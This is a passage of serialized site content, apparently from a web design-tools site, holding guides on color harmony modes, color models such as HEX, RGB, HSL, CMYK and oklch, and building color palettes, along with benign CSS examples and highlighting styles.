attention-grabbing.",[16,29644,29645,29648],{},[47,29646,29647],{},"When to use",": Call-to-action buttons, hero banners, anywhere you need a clear visual pop.",[16,29650,29651,29654],{},[47,29652,29653],{},"Tips",": Use the complement at lower saturation or smaller area. Two full-saturation complements at equal size create optical vibration—uncomfortable to read.",[16,29656,29657,29659,29660,29663,29664,29667],{},[47,29658,133],{},": A fitness app uses deep blue (",[143,29661,29662],{},"hsl(220, 80%, 40%)",") for its primary navigation and a muted orange (",[143,29665,29666],{},"hsl(30, 70%, 55%)",") for the \"Start Workout\" button. The orange pops without screaming.",[33,29669,29671],{"id":29670},"analogous-30-apart","Analogous — 30° Apart",[16,29673,29674],{},"Two to four colors sitting next to each other on the wheel, typically within a 30° arc.",[135,29676,29679],{"className":29677,"code":29678,"language":140},[138],"Base:    210° (Blue)\nNear 1:  225° (Blue-Indigo)\nNear 2:  240° (Indigo)\n",[143,29680,29678],{"__ignoreMap":141},[16,29682,29683,29685],{},[47,29684,29641],{},": Serene, cohesive, natural.",[16,29687,29688,29690],{},[47,29689,29647],{},": Backgrounds, gradients, brands that want a calm and trustworthy feel.",[16,29692,29693,29695],{},[47,29694,29653],{},": Pick one color as dominant, one as support, and one as accent. Without a clear hierarchy, analogous palettes can look flat and lack focus.",[16,29697,29698,29700],{},[47,29699,133],{},": A meditation app blends sky blue, teal, and sea green across its interface. The result feels tranquil and unified—perfect for the product's promise of calm.",[33,29702,29704],{"id":29703},"triadic-120-apart","Triadic — 120° Apart",[16,29706,29707],{},"Three colors equally spaced around the wheel forming an equilateral triangle.",[135,29709,29712],{"className":29710,"code":29711,"language":140},[138],"Color A: 0°   (Red)\nColor B: 120° (Green)\nColor C: 240° (Blue)\n",[143,29713,29711],{"__ignoreMap":141},[16,29715,29716,29718],{},[47,29717,29641],{},": Vibrant, balanced, playful.",[16,29720,29721,29723],{},[47,29722,29647],{},": Illustrations, dashboards, children's products, data visualizations with three categories.",[16,29725,29726,29728],{},[47,29727,29653],{},": One color should dominate at roughly 60% of the visual area. The other two share the remaining 40% as accents. Without dominance, triadic palettes feel circus-like.",[16,29730,29731,29733],{},[47,29732,133],{},": An analytics dashboard uses blue for charts, amber for alerts, and violet for secondary metrics. Each category is instantly distinguishable without clashing.",[33,29735,29737],{"id":29736},"split-complementary-150-and-210","Split-Complementary — 150° and 210°",[16,29739,29740],{},"One base color plus the two colors adjacent to its complement (typically 30° on either side of 180°).",[135,29742,29745],{"className":29743,"code":29744,"language":140},[138],"Base:      240° (Blue)\nSplit A:   240° + 150° = 30°  (Red-Orange)\nSplit B:   240° + 210° = 90°  (Yellow-Green)\n",[143,29746,29744],{"__ignoreMap":141},[16,29748,29749,29751],{},[47,29750,29641],{},": Contrasting but less tense than pure complementary.",[16,29753,29754,29756],{},[47,29755,29647],{},": Marketing sites, SaaS dashboards, any layout that needs accent variety without chaos.",[16,29758,29759,29761],{},[47,29760,29653],{},": This is the safest high-contrast mode. It gives you visual interest without the harshness of a direct complement. Use the splits as accents and the base as the dominant color.",[16,29763,29764,29766],{},[47,29765,133],{},": A project management tool uses teal as primary, with coral and gold accents for notifications and status badges. The palette has energy but stays professional.",[33,29768,29770],{"id":29769},"tetradic-four-points-rectangle","Tetradic — Four Points (Rectangle)",[16,29772,29773],{},"Four colors forming two complementary pairs. The pairs sit at 180° apart; the two base hues are typically 60°–90° apart.",[135,29775,29778],{"className":29776,"code":29777,"language":140},[138],"Pair 1: 0°   (Red)   + 180° (Cyan)\nPair 2: 60°  (Yellow) + 240° (Blue)\n",[143,29779,29777],{"__ignoreMap":141},[16,29781,29782,29784],{},[47,29783,29641],{},": Rich, complex, bold.",[16,29786,29787,29789],{},[47,29788,29647],{},": Large-scale designs—news sites, e-commerce platforms, brand systems that need distinct section colors.",[16,29791,29792,29794],{},[47,29793,29653],{},": Dominance is critical. Pick one pair to lead (roughly 70% of the visual area) and reserve the other pair for highlights. Without hierarchy, tetradic palettes feel noisy and directionless.",[16,29796,29797,29799],{},[47,29798,133],{},": An online magazine uses blue and orange for the masthead and navigation, then red and green for category tags. Each section has personality without breaking the system.",[33,29801,29803],{"id":29802},"monochromatic-same-hue","Monochromatic — Same Hue",[16,29805,29806],{},"Variations of a single hue achieved by changing saturation and lightness while the hue stays fixed.",[135,29808,29811],{"className":29809,"code":29810,"language":140},[138],"Hue: 240° (Blue)\nShade 1: hsl(240, 90%, 95%)  — Very light tint\nShade 2: hsl(240, 80%, 60%)  — Base\nShade 3: hsl(240, 70%, 30%)  — Deep shade\n",[143,29812,29810],{"__ignoreMap":141},[16,29814,29815,29817],{},[47,29816,29641],{},": Clean, elegant, minimal.",[16,29819,29820,29822],{},[47,29821,29647],{},": Corporate sites, portfolios, documentation, any project where simplicity is the brand.",[16,29824,29825,29827],{},[47,29826,29653],{},": Monochromatic palettes risk poor contrast if lightness steps are too close. Use at least 20% lightness difference between text and background. Add one contrasting accent (like an amber call-to-action) for interactive elements.",[16,29829,29830,29832],{},[47,29831,133],{},": A law firm's website uses navy, steel blue, and pale blue across all pages. A single gold accent marks the \"Contact Us\" button—an intentional break that draws the eye.",[11,29834,29836],{"id":29835},"choosing-the-right-mode","Choosing the Right Mode",[193,29838,29839,29850],{},[196,29840,29841],{},[199,29842,29843,29846,29848],{},[202,29844,29845],{},"Project Type",[202,29847,25745],{},[202,29849,23393],{},[211,29851,29852,29862,29873,29884,29894,29905],{},[199,29853,29854,29856,29859],{},[216,29855,12096],{},[216,29857,29858],{},"Complementary",[216,29860,29861],{},"CTA pops against brand color",[199,29863,29864,29867,29870],{},[216,29865,29866],{},"SaaS dashboard",[216,29868,29869],{},"Split-complementary",[216,29871,29872],{},"Multiple accents, manageable contrast",[199,29874,29875,29878,29881],{},[216,29876,29877],{},"Blog or docs",[216,29879,29880],{},"Monochromatic",[216,29882,29883],{},"Readability and focus on content",[199,29885,29886,29888,29891],{},[216,29887,21787],{},[216,29889,29890],{},"Tetradic",[216,29892,29893],{},"Different sections feel distinct",[199,29895,29896,29899,29902],{},[216,29897,29898],{},"Portfolio",[216,29900,29901],{},"Analogous",[216,29903,29904],{},"Cohesive, subtle, professional",[199,29906,29907,29910,29913],{},[216,29908,29909],{},"Data visualization",[216,29911,29912],{},"Triadic",[216,29914,29915],{},"Three distinct data categories",[16,29917,29918],{},"The table above is a starting point, not a rulebook. The best mode is the one that serves your users and reinforces the message you want to send.",[11,29920,2341],{"id":2340},[77,29922,29923,29929,29935,29941,29947],{},[44,29924,29925,29928],{},[47,29926,29927],{},"Using too many saturated colors"," — Saturation competes. Keep most colors muted and reserve full saturation for one or two accents.",[44,29930,29931,29934],{},[47,29932,29933],{},"Ignoring ratio dominance"," — Every palette needs a dominant color. Without it, elements fight for attention.",[44,29936,29937,29940],{},[47,29938,29939],{},"Forgetting neutrals"," — Grays are not optional. They provide resting space for the eye and make your accent colors look stronger.",[44,29942,29943,29946],{},[47,29944,29945],{},"Skipping contrast checks"," — A harmonious palette can still fail WCAG. Always validate text-background contrast.",[44,29948,29949,29952],{},[47,29950,29951],{},"Picking harmony before purpose"," — Start with the emotion you want, then choose the mode that supports it—not the other way around.",[11,29954,1355],{"id":1354},[41,29956,29957,29960,29963,29966,29969,29972],{},[44,29958,29959],{},"The color wheel maps hue from 0° to 360°; harmony rules use geometric relationships on this wheel",[44,29961,29962],{},"Complementary (180°) gives maximum contrast, analogous (30°) gives maximum cohesion",[44,29964,29965],{},"Split-complementary is the safest high-contrast choice for most projects",[44,29967,29968],{},"Triadic and tetradic need clear dominance hierarchies to avoid visual clutter",[44,29970,29971],{},"Monochromatic is elegant but requires deliberate lightness spacing for contrast",[44,29973,29974],{},"Always pick the harmony mode that serves the project's purpose, not just its aesthetics",[11,29976,286],{"id":285},[16,29978,29979,29980,29982],{},"Use our free ",[98,29981,2423],{"href":2422}," to pick a base color and instantly see all six harmony modes applied. Experiment with different hues and saturations until you find a combination that fits your project.",{"title":141,"searchDepth":337,"depth":337,"links":29984},[29985,29986,29987,29995,29996,29997,29998],{"id":29561,"depth":337,"text":29562},{"id":29612,"depth":337,"text":29613},{"id":29622,"depth":337,"text":29623,"children":29988},[29989,29990,29991,29992,29993,29994],{"id":29626,"depth":343,"text":29627},{"id":29670,"depth":343,"text":29671},{"id":29703,"depth":343,"text":29704},{"id":29736,"depth":343,"text":29737},{"id":29769,"depth":343,"text":29770},{"id":29802,"depth":343,"text":29803},{"id":29835,"depth":337,"text":29836},{"id":2340,"depth":337,"text":2341},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Understand the science behind beautiful color combinations using the color wheel and harmony rules.",{"immutable":363},{"title":4523,"description":29999},"guides\u002Fcolor-harmony-theory","U_taSIgP0770othnYvWROl35FdW5FE5LxRsmsz-qFbU",{"id":30005,"title":30006,"body":30007,"date":2070,"description":30671,"extension":361,"meta":30672,"navigation":363,"path":30673,"readingTime":1717,"seo":30674,"stem":30675,"__hash__":30676},"guides\u002Fguides\u002Fcolor-models-explained.md","Color Models Explained: HEX, RGB, HSL, and CMYK",{"type":8,"value":30008,"toc":30657},[30009,30013,30016,30019,30023,30026,30032,30038,30109,30112,30116,30119,30122,30189,30195,30201,30205,30208,30211,30261,30266,30271,30275,30278,30295,30320,30325,30330,30334,30339,30363,30368,30376,30383,30387,30390,30432,30437,30451,30459,30463,30466,30525,30528,30532,30607,30609,30626,30628,30634,30636,30654],[11,30010,30012],{"id":30011},"what-is-a-color-model","What Is a Color Model",[16,30014,30015],{},"A color model is a systematic way to describe colors using numbers. Different models organize the same visual spectrum in different mathematical structures—each one optimized for a specific use case like screens, print, or human intuition.",[16,30017,30018],{},"Think of it like measuring temperature: Celsius, Fahrenheit, and Kelvin all describe the same heat, but each scale suits a different context. Color models work the same way.",[11,30020,30022],{"id":30021},"additive-vs-subtractive-color-models","Additive vs Subtractive Color Models",[16,30024,30025],{},"All color models fall into two fundamental categories based on how they produce color.",[16,30027,30028,30031],{},[47,30029,30030],{},"Additive models"," start with darkness (black) and add light to create color. More light means brighter results. This is how screens work—tiny red, green, and blue LEDs combine to produce every color you see. Mix all three at full intensity and you get white.",[16,30033,30034,30037],{},[47,30035,30036],{},"Subtractive models"," start with light (white paper) and subtract wavelengths using ink or pigment. More ink means darker results. This is how printing works—cyan, magenta, and yellow inks absorb specific wavelengths. Lay all three on top of each other and you approach black.",[193,30039,30040,30052],{},[196,30041,30042],{},[199,30043,30044,30046,30049],{},[202,30045,14482],{},[202,30047,30048],{},"Additive (Screen)",[202,30050,30051],{},"Subtractive (Print)",[211,30053,30054,30065,30076,30087,30098],{},[199,30055,30056,30059,30062],{},[216,30057,30058],{},"Starting point",[216,30060,30061],{},"Black (no light)",[216,30063,30064],{},"White (full light)",[199,30066,30067,30070,30073],{},[216,30068,30069],{},"How color forms",[216,30071,30072],{},"Add light",[216,30074,30075],{},"Absorb light",[199,30077,30078,30081,30084],{},[216,30079,30080],{},"Full mix",[216,30082,30083],{},"White",[216,30085,30086],{},"Near black",[199,30088,30089,30092,30095],{},[216,30090,30091],{},"Primary colors",[216,30093,30094],{},"Red, Green, Blue",[216,30096,30097],{},"Cyan, Magenta, Yellow",[199,30099,30100,30103,30106],{},[216,30101,30102],{},"Used by",[216,30104,30105],{},"Monitors, phones, TVs",[216,30107,30108],{},"Printers, paint",[16,30110,30111],{},"You cannot perfectly convert between additive and subtractive models because screens emit light while ink reflects it. Colors that look vivid on screen may appear dull in print—this is why printed photos never quite match what you see on your display.",[11,30113,30115],{"id":30114},"rgb-the-screen-standard","RGB: The Screen Standard",[16,30117,30118],{},"Red, Green, Blue. These three channels of light mix additively to create roughly 16.7 million colors on screen. Each channel ranges from 0 to 255.",[16,30120,30121],{},"RGB is the native language of digital displays. Every pixel on your screen stores an RGB triplet. CSS offers several ways to write RGB values:",[135,30123,30125],{"className":1554,"code":30124,"language":1556,"meta":141,"style":141},".card {\n  background: rgb(59 130 246);       \u002F* Modern space-separated *\u002F\n  border: rgb(59 130 246 \u002F 50%);     \u002F* With alpha *\u002F\n}\n",[143,30126,30127,30133,30158,30185],{"__ignoreMap":141},[1560,30128,30129,30131],{"class":1562,"line":1563},[1560,30130,1567],{"class":1566},[1560,30132,1571],{"class":1570},[1560,30134,30135,30137,30139,30142,30144,30146,30149,30152,30155],{"class":1562,"line":337},[1560,30136,5665],{"class":1576},[1560,30138,1663],{"class":1570},[1560,30140,30141],{"class":1576},"rgb",[1560,30143,1688],{"class":1570},[1560,30145,19995],{"class":1576},[1560,30147,30148],{"class":1576}," 130",[1560,30150,30151],{"class":1576}," 246",[1560,30153,30154],{"class":1570},");       ",[1560,30156,30157],{"class":1649},"\u002F* Modern space-separated *\u002F\n",[1560,30159,30160,30162,30164,30166,30168,30170,30172,30174,30176,30178,30180,30183],{"class":1562,"line":343},[1560,30161,3580],{"class":1576},[1560,30163,1663],{"class":1570},[1560,30165,30141],{"class":1576},[1560,30167,1688],{"class":1570},[1560,30169,19995],{"class":1576},[1560,30171,30148],{"class":1576},[1560,30173,30151],{"class":1576},[1560,30175,14237],{"class":1570},[1560,30177,18059],{"class":1576},[1560,30179,17990],{"class":1669},[1560,30181,30182],{"class":1570},");     ",[1560,30184,29166],{"class":1649},[1560,30186,30187],{"class":1562,"line":365},[1560,30188,1585],{"class":1570},[16,30190,30191,30194],{},[47,30192,30193],{},"Strengths:"," Directly maps to hardware, excellent for programmatic manipulation, built-in alpha support.",[16,30196,30197,30200],{},[47,30198,30199],{},"Weaknesses:"," Not intuitive—changing hue often requires adjusting all three channels simultaneously.",[11,30202,30204],{"id":30203},"cmyk-the-print-workhorse","CMYK: The Print Workhorse",[16,30206,30207],{},"Cyan, Magenta, Yellow, Key (Black). Printers lay down these four inks in tiny dots to reproduce images on paper. Each value represents ink coverage from 0% to 100%.",[16,30209,30210],{},"The \"Key\" channel adds true black because mixing C+M+Y produces a muddy brown, not a clean black. Black ink also saves money—its cheaper than layering three colors to approximate dark tones.",[135,30212,30214],{"className":1554,"code":30213,"language":1556,"meta":141,"style":141},"\u002F* CSS supports CMYK for print stylesheets *\u002F\n@page { color: device-cmyk(0%, 100%, 100%, 0%); } \u002F* Red for print *\u002F\n",[143,30215,30216,30221],{"__ignoreMap":141},[1560,30217,30218],{"class":1562,"line":1563},[1560,30219,30220],{"class":1649},"\u002F* CSS supports CMYK for print stylesheets *\u002F\n",[1560,30222,30223,30226,30228,30230,30233,30235,30237,30239,30241,30243,30245,30247,30249,30251,30253,30255,30258],{"class":1562,"line":337},[1560,30224,30225],{"class":1669},"@page",[1560,30227,1658],{"class":1570},[1560,30229,12607],{"class":1576},[1560,30231,30232],{"class":1570},": device-cmyk(",[1560,30234,5285],{"class":1576},[1560,30236,17990],{"class":1669},[1560,30238,1459],{"class":1570},[1560,30240,18114],{"class":1576},[1560,30242,17990],{"class":1669},[1560,30244,1459],{"class":1570},[1560,30246,18114],{"class":1576},[1560,30248,17990],{"class":1669},[1560,30250,1459],{"class":1570},[1560,30252,5285],{"class":1576},[1560,30254,17990],{"class":1669},[1560,30256,30257],{"class":1570},"); } ",[1560,30259,30260],{"class":1649},"\u002F* Red for print *\u002F\n",[16,30262,30263,30265],{},[47,30264,30193],{}," Essential for commercial printing, matches physical ink behavior.",[16,30267,30268,30270],{},[47,30269,30199],{}," Not usable for screen rendering, gamut is smaller than RGB—many vibrant screen colors cannot be printed.",[11,30272,30274],{"id":30273},"hsl-human-friendly-color","HSL: Human-Friendly Color",[16,30276,30277],{},"Hue, Saturation, Lightness. HSL separates color into three intuitive dimensions that match how people actually think about color.",[41,30279,30280,30285,30290],{},[44,30281,30282,30284],{},[47,30283,29099],{}," (0–360°): Position on the color wheel—0° is red, 120° is green, 240° is blue",[44,30286,30287,30289],{},[47,30288,29112],{}," (0–100%): How vivid the color is—0% is gray, 100% is fully saturated",[44,30291,30292,30294],{},[47,30293,29125],{}," (0–100%): How bright—0% is black, 50% is pure color, 100% is white",[135,30296,30298],{"className":1554,"code":30297,"language":1556,"meta":141,"style":141},"\u002F* Creating a consistent palette is trivial with HSL *\u002F\n--primary-300: hsl(217 91% 70%);\n--primary-500: hsl(217 91% 60%);\n--primary-700: hsl(217 91% 50%);\n",[143,30299,30300,30305,30310,30315],{"__ignoreMap":141},[1560,30301,30302],{"class":1562,"line":1563},[1560,30303,30304],{"class":1649},"\u002F* Creating a consistent palette is trivial with HSL *\u002F\n",[1560,30306,30307],{"class":1562,"line":337},[1560,30308,30309],{"class":1570},"--primary-300: hsl(217 91% 70%);\n",[1560,30311,30312],{"class":1562,"line":343},[1560,30313,30314],{"class":1570},"--primary-500: hsl(217 91% 60%);\n",[1560,30316,30317],{"class":1562,"line":365},[1560,30318,30319],{"class":1570},"--primary-700: hsl(217 91% 50%);\n",[16,30321,30322,30324],{},[47,30323,30193],{}," Intuitive for design work, easy to create palettes and theme variants.",[16,30326,30327,30329],{},[47,30328,30199],{}," Not perceptually uniform—a lightness of 50% does not look equally bright across all hues.",[11,30331,30333],{"id":30332},"hex-compact-rgb-shorthand","HEX: Compact RGB Shorthand",[16,30335,30336,30337,468],{},"HEX is not a separate color model—it is simply RGB encoded in hexadecimal (base-16) notation. Each of the three RGB channels becomes a two-digit hex pair, prefixed with ",[143,30338,6852],{},[135,30340,30342],{"className":1554,"code":30341,"language":1556,"meta":141,"style":141},".logo { color: #3B82F6; }  \u002F* Same as rgb(59, 130, 246) *\u002F\n",[143,30343,30344],{"__ignoreMap":141},[1560,30345,30346,30349,30351,30353,30355,30357,30360],{"class":1562,"line":1563},[1560,30347,30348],{"class":1566},".logo",[1560,30350,1658],{"class":1570},[1560,30352,12607],{"class":1576},[1560,30354,1663],{"class":1570},[1560,30356,2260],{"class":1576},[1560,30358,30359],{"class":1570},"; }  ",[1560,30361,30362],{"class":1649},"\u002F* Same as rgb(59, 130, 246) *\u002F\n",[16,30364,30365,30367],{},[47,30366,30193],{}," Compact, easy to copy-paste, universally supported.",[16,30369,30370,30372,30373,30375],{},[47,30371,30199],{}," Opaque to humans—you cannot glance at ",[143,30374,2260],{}," and know which color it represents.",[16,30377,30378,30379,468],{},"For a detailed breakdown of the HEX format and conversion math, see our ",[98,30380,30382],{"href":30381},"\u002Fguides\u002Fhex-to-rgb-guide","HEX to RGB guide",[11,30384,30386],{"id":30385},"oklch-the-new-standard","oklch: The New Standard",[16,30388,30389],{},"oklch (Oklahoma lightness, chroma, hue) is a modern perceptually uniform color space. Unlike HSL, equal changes in oklch values produce equal perceived changes in color.",[135,30391,30393],{"className":1554,"code":30392,"language":1556,"meta":141,"style":141},".element {\n  color: oklch(60% 0.2 264);  \u002F* Predictable, perceptually even blue *\u002F\n}\n",[143,30394,30395,30402,30428],{"__ignoreMap":141},[1560,30396,30397,30400],{"class":1562,"line":1563},[1560,30398,30399],{"class":1566},".element",[1560,30401,1571],{"class":1570},[1560,30403,30404,30406,30408,30411,30413,30415,30417,30420,30423,30425],{"class":1562,"line":337},[1560,30405,2510],{"class":1576},[1560,30407,1663],{"class":1570},[1560,30409,30410],{"class":1576},"oklch",[1560,30412,1688],{"class":1570},[1560,30414,18333],{"class":1576},[1560,30416,17990],{"class":1669},[1560,30418,30419],{"class":1576}," 0.2",[1560,30421,30422],{"class":1576}," 264",[1560,30424,14724],{"class":1570},[1560,30426,30427],{"class":1649},"\u002F* Predictable, perceptually even blue *\u002F\n",[1560,30429,30430],{"class":1562,"line":343},[1560,30431,1585],{"class":1570},[16,30433,30434],{},[47,30435,30436],{},"Why it matters:",[41,30438,30439,30442,30445,30448],{},[44,30440,30441],{},"Gradients stay vibrant through the middle instead of turning muddy",[44,30443,30444],{},"Lightness values are psychologically consistent across hues",[44,30446,30447],{},"Accessibility calculations are more reliable",[44,30449,30450],{},"Supports wide-gamut displays (P3, Rec.2020)",[16,30452,30453,30454,30458],{},"Browser support is strong in modern browsers (Chrome 111+, Firefox 113+, Safari 16.4+). See our ",[98,30455,30457],{"href":30456},"\u002Fguides\u002Fcss-color-values","CSS Color Values guide"," for practical adoption strategies.",[11,30460,30462],{"id":30461},"conversion-reference","Conversion Reference",[16,30464,30465],{},"Here is how one color—coral—looks across every model:",[193,30467,30468,30477],{},[196,30469,30470],{},[199,30471,30472,30475],{},[202,30473,30474],{},"Model",[202,30476,1769],{},[211,30478,30479,30489,30498,30507,30516],{},[199,30480,30481,30484],{},[216,30482,30483],{},"HEX",[216,30485,30486],{},[143,30487,30488],{},"#FF7F50",[199,30490,30491,30493],{},[216,30492,29358],{},[216,30494,30495],{},[143,30496,30497],{},"rgb(255, 127, 80)",[199,30499,30500,30502],{},[216,30501,29369],{},[216,30503,30504],{},[143,30505,30506],{},"hsl(16, 100%, 66%)",[199,30508,30509,30511],{},[216,30510,29391],{},[216,30512,30513],{},[143,30514,30515],{},"cmyk(0%, 50%, 69%, 0%)",[199,30517,30518,30520],{},[216,30519,30410],{},[216,30521,30522],{},[143,30523,30524],{},"oklch(71% 0.14 40)",[16,30526,30527],{},"Conversion between RGB-based formats (HEX, RGB, HSL) is exact and lossless. Conversion to or from CMYK is approximate because the two models have different gamuts—some RGB colors simply cannot exist in CMYK.",[11,30529,30531],{"id":30530},"when-to-use-each-model","When to Use Each Model",[193,30533,30534,30545],{},[196,30535,30536],{},[199,30537,30538,30540,30543],{},[202,30539,2973],{},[202,30541,30542],{},"Best Model",[202,30544,23393],{},[211,30546,30547,30557,30566,30577,30587,30597],{},[199,30548,30549,30552,30554],{},[216,30550,30551],{},"Website styling",[216,30553,29347],{},[216,30555,30556],{},"Compact values or intuitive palette building",[199,30558,30559,30561,30563],{},[216,30560,29355],{},[216,30562,29358],{},[216,30564,30565],{},"Direct channel access for calculations",[199,30567,30568,30571,30574],{},[216,30569,30570],{},"Design systems & themes",[216,30572,30573],{},"HSL or oklch",[216,30575,30576],{},"Easy variation generation",[199,30578,30579,30582,30584],{},[216,30580,30581],{},"Commercial print",[216,30583,29391],{},[216,30585,30586],{},"Matches actual ink mixing",[199,30588,30589,30592,30594],{},[216,30590,30591],{},"Accessible UI",[216,30593,30410],{},[216,30595,30596],{},"Perceptually uniform lightness for contrast",[199,30598,30599,30602,30604],{},[216,30600,30601],{},"Quick prototyping",[216,30603,30483],{},[216,30605,30606],{},"Fastest to type and share",[11,30608,1355],{"id":1354},[41,30610,30611,30614,30617,30620,30623],{},[44,30612,30613],{},"Additive models (RGB) produce color with light; subtractive models (CMYK) produce color with ink",[44,30615,30616],{},"HEX is just a compact encoding of RGB, not a separate model",[44,30618,30619],{},"HSL maps to human intuition; oklch maps to human perception",[44,30621,30622],{},"RGB↔HSL↔HEX conversions are exact; converting to\u002Ffrom CMYK is always approximate",[44,30624,30625],{},"Choose your model based on the medium (screen vs. print) and the task (design vs. code)",[11,30627,286],{"id":285},[16,30629,30630,30631,30633],{},"Convert colors between every model mentioned in this guide using our free ",[98,30632,18588],{"href":18587}," tool.",[11,30635,321],{"id":320},[41,30637,30638,30643,30648],{},[44,30639,30640],{},[98,30641,30642],{"href":30381},"HEX to RGB: Understanding Color Code Conversions",[44,30644,30645],{},[98,30646,30647],{"href":30456},"CSS Color Values: Named, HEX, RGB, HSL, and Modern Functions",[44,30649,30650],{},[98,30651,30653],{"href":30652},"\u002Fguides\u002Fhex-rgb-hsl-explained","HEX, RGB, and HSL Color Formats Explained",[2043,30655,30656],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":30658},[30659,30660,30661,30662,30663,30664,30665,30666,30667,30668,30669,30670],{"id":30011,"depth":337,"text":30012},{"id":30021,"depth":337,"text":30022},{"id":30114,"depth":337,"text":30115},{"id":30203,"depth":337,"text":30204},{"id":30273,"depth":337,"text":30274},{"id":30332,"depth":337,"text":30333},{"id":30385,"depth":337,"text":30386},{"id":30461,"depth":337,"text":30462},{"id":30530,"depth":337,"text":30531},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Understand how HEX, RGB, HSL, and CMYK color models work, when to use each, and how they relate to one another in design and print.",{"immutable":363},"\u002Fguides\u002Fcolor-models-explained",{"title":30006,"description":30671},"guides\u002Fcolor-models-explained","nv_2V81WbdNAi6r8bKsb0H2nwkjPxdoKPCHlpYWy-Z0",{"id":30678,"title":2612,"body":30679,"date":2070,"description":31156,"extension":361,"meta":31157,"navigation":363,"path":2611,"readingTime":1717,"seo":31158,"stem":31159,"__hash__":31160},"guides\u002Fguides\u002Fcolor-palette-guide.md",{"type":8,"value":30680,"toc":31132},[30681,30685,30688,30691,30694,30698,30701,30793,30796,30800,30803,30806,30809,30813,30816,30820,30823,30826,30829,30845,30848,30851,30867,30870,30873,30893,30897,30900,30921,30925,30928,30948,30951,30954,30965,30969,30972,30976,30979,31024,31028,31042,31046,31049,31053,31097,31099,31122,31124],[11,30682,30684],{"id":30683},"what-is-a-color-palette","What Is a Color Palette",[16,30686,30687],{},"A color palette is a curated set of colors you use consistently across a design project. Instead of picking colors on the fly, a palette gives you predefined choices that work together. This keeps your interface visually coherent and your brand recognizable.",[16,30689,30690],{},"Most web projects use between 5 and 7 colors. Fewer colors feel unified but may lack variety. More colors risk visual clutter and inconsistent styling. The sweet spot depends on your project's complexity—a simple landing page needs fewer colors than a data-heavy dashboard.",[16,30692,30693],{},"A good palette is not just a collection of pretty colors. Every shade has a role. When each color serves a purpose, your design communicates clearly and looks intentional.",[11,30695,30697],{"id":30696},"the-typical-palette-structure","The Typical Palette Structure",[16,30699,30700],{},"A well-rounded palette assigns each color a specific job. Here are the six roles you see most often:",[193,30702,30703,30713],{},[196,30704,30705],{},[199,30706,30707,30709,30711],{},[202,30708,2152],{},[202,30710,2758],{},[202,30712,133],{},[211,30714,30715,30728,30741,30754,30768,30780],{},[199,30716,30717,30720,30723],{},[216,30718,30719],{},"Primary",[216,30721,30722],{},"Brand identity, key actions",[216,30724,30725,30726],{},"Bright blue ",[143,30727,2260],{},[199,30729,30730,30732,30735],{},[216,30731,2176],{},[216,30733,30734],{},"Supporting elements, secondary buttons",[216,30736,30737,30738],{},"Teal ",[143,30739,30740],{},"#14B8A6",[199,30742,30743,30745,30748],{},[216,30744,2187],{},[216,30746,30747],{},"Highlights, badges, call-to-action",[216,30749,30750,30751],{},"Amber ",[143,30752,30753],{},"#F59E0B",[199,30755,30756,30759,30762],{},[216,30757,30758],{},"Neutral",[216,30760,30761],{},"Borders, dividers, muted text",[216,30763,30764,30765],{},"Slate gray ",[143,30766,30767],{},"#64748B",[199,30769,30770,30772,30775],{},[216,30771,3432],{},[216,30773,30774],{},"Page and section backgrounds",[216,30776,30777,30778],{},"Off-white ",[143,30779,2225],{},[199,30781,30782,30785,30788],{},[216,30783,30784],{},"Text",[216,30786,30787],{},"Body copy, headings",[216,30789,30790,30791],{},"Near-black ",[143,30792,2299],{},[16,30794,30795],{},"You do not need all six roles in every project. A minimal site might have primary, background, and text alone. The important thing is that every color in the palette has a job—no orphans.",[33,30797,30799],{"id":30798},"primary-and-secondary","Primary and Secondary",[16,30801,30802],{},"Your primary color is the face of your brand. It appears on key buttons, links, and headline accents. Your secondary color supports the primary—it works for secondary buttons, hovered states, or sidebar highlights without competing for attention.",[33,30804,2187],{"id":30805},"accent",[16,30807,30808],{},"Accent colors break the pattern. Use them sparingly to draw the eye to badges, notifications, or a single call-to-action button. One accent is usually enough. Two accents work if they serve clearly different purposes, like warnings versus success states.",[33,30810,30812],{"id":30811},"neutrals-backgrounds-and-text","Neutrals, Backgrounds, and Text",[16,30814,30815],{},"Neutrals do the invisible work: borders, dividers, disabled states, and subtle backgrounds. Background colors set the stage—most sites use at least two (a page background and a card surface). Text colors need sufficient contrast against every background they sit on.",[11,30817,30819],{"id":30818},"color-harmony-modes","Color Harmony Modes",[16,30821,30822],{},"Harmony modes apply geometric formulas on the color wheel to produce combinations that feel balanced. Instead of guessing, you pick a base hue and let the math generate the rest.",[33,30824,29858],{"id":30825},"complementary",[16,30827,30828],{},"Two colors sitting 180° apart on the wheel. High contrast, high energy.",[41,30830,30831,30839,30842],{},[44,30832,30833,30834,30836,30837,1525],{},"Blue (",[143,30835,29599],{},") + Orange (",[143,30838,29581],{},[44,30840,30841],{},"Use one as dominant, the other as a pop accent",[44,30843,30844],{},"Avoid equal-area complementary pairs—they cause optical vibration",[33,30846,29901],{"id":30847},"analogous",[16,30849,30850],{},"Two to four colors within 30° of each other. Smooth, natural feel.",[41,30852,30853,30861,30864],{},[44,30854,30855,30856,1811,30858,1525],{},"Blue, Blue-Violet, Violet 